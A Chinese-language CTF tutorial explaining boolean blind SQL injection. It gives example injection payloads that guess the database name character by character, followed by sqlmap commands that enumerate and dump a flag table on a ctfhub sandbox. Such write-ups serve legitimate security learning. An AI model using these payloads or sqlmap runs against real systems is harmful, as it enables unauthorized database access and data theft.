目录
理论简述
布尔盲注概述
布尔盲注的原理及利用
原理
利用步骤
常见函数及其作用
实战示例
sqlmap工具夺flag
查看数据库名
查看数据库中的表名
查看表中字段名
查看表中数据
理论简述
布尔盲注概述
布尔盲注是一种在SQL注入中使用的技巧,主要用于在没有明显错误信息返回的情况下,通过构造特殊的SQL语句来推测数据库信息。由于某些安全措施的存在,使得传统的SQL注入手法无法获得直接的错误信息,此时就需要使用布尔盲注来间接获取信息。这种方法主要依赖于SQL语句的布尔运算结果,通过观察页面的响应来判断所构建的SQL语句是否执行成功,从而逐步揭示数据库的结构信息。
布尔盲注的原理及利用
原理
布尔盲注的核心原理在于利用SQL语句的布尔判断,通过AND或OR连接条件,并根据页面的响应来判断条件是否成立。当条件为真时,页面通常会正常显示;而为假时,页面可能不显示任何内容或者返回错误信息。通过这种方式,攻击者可以逐步构建并验证一系列的条件语句,逐渐获取数据库的相关信息。
利用步骤
- 判断注入点:首先确定输入点是否存在注入,通常通过在URL中加入单引号来测试。
- 判断数据库名长度:使用函数结合二分法来猜测数据库名的长度。length()
- 猜测数据库名:使用函数和函数组合,逐个猜测数据库名的各个字符。ascii()、substr()
- 猜测表的数量:通过函数来估计数据库中表的数量。count()
- 猜测表名和字段名:类似数据库名的猜测过程,使用相应的函数逐步缩小范围。
- 获取数据:最终,通过构建能够返回数据的SQL语句来获取实际的数据信息。
常见函数及其作用
- LENGTH():返回字符串的长度。
- ASCII():返回字符的ASCII码值。
- SUBSTRING()/SUBSTR():截取字符串。
- INFORMATION_SCHEMA.TABLES和:用于获取表和列的信息。COLUMNS
- IF():根据条件返回不同的值。
- LIKE和:用于模糊匹配模式。REGEXP
实战示例
假设有一个SQL注入点,我们可以通过以下步骤来获取数据库名:
- 判断注入点是否存在: ?id=1' and 1=1
- 猜测数据库名长度: ?id=1' and length(database())>1
- 逐个猜测字符: ?id=1' and ascii(substr(database(),1,1))>97
- 重复上述步骤,直到确定每个字符的ASCII码。
通过这种方式,我们可以逐步构建出完整的数据库名,例如:sqli
sqlmap工具夺flag
可以使用 sqlmap 工具爆破,也可以手动注入,手动注入比较费时,效率低,在这里我们使用工具找我们的flag(没有sqlmap工具点击🚀🚀🚀直达下载安装使用教程)
查看数据库名
python sqlmap.py -u "http://challenge-561e0e1cb4c75169.sandbox.ctfhub.com:10800/?id=1" --current-db
查看数据库中的表名
python sqlmap.py -u "http://challenge-561e0e1cb4c75169.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables
查看表中字段名
python sqlmap.py -u "http://challenge-561e0e1cb4c75169.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns
查看表中数据
python sqlmap.py -u "http://challenge-561e0e1cb4c75169.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump --batch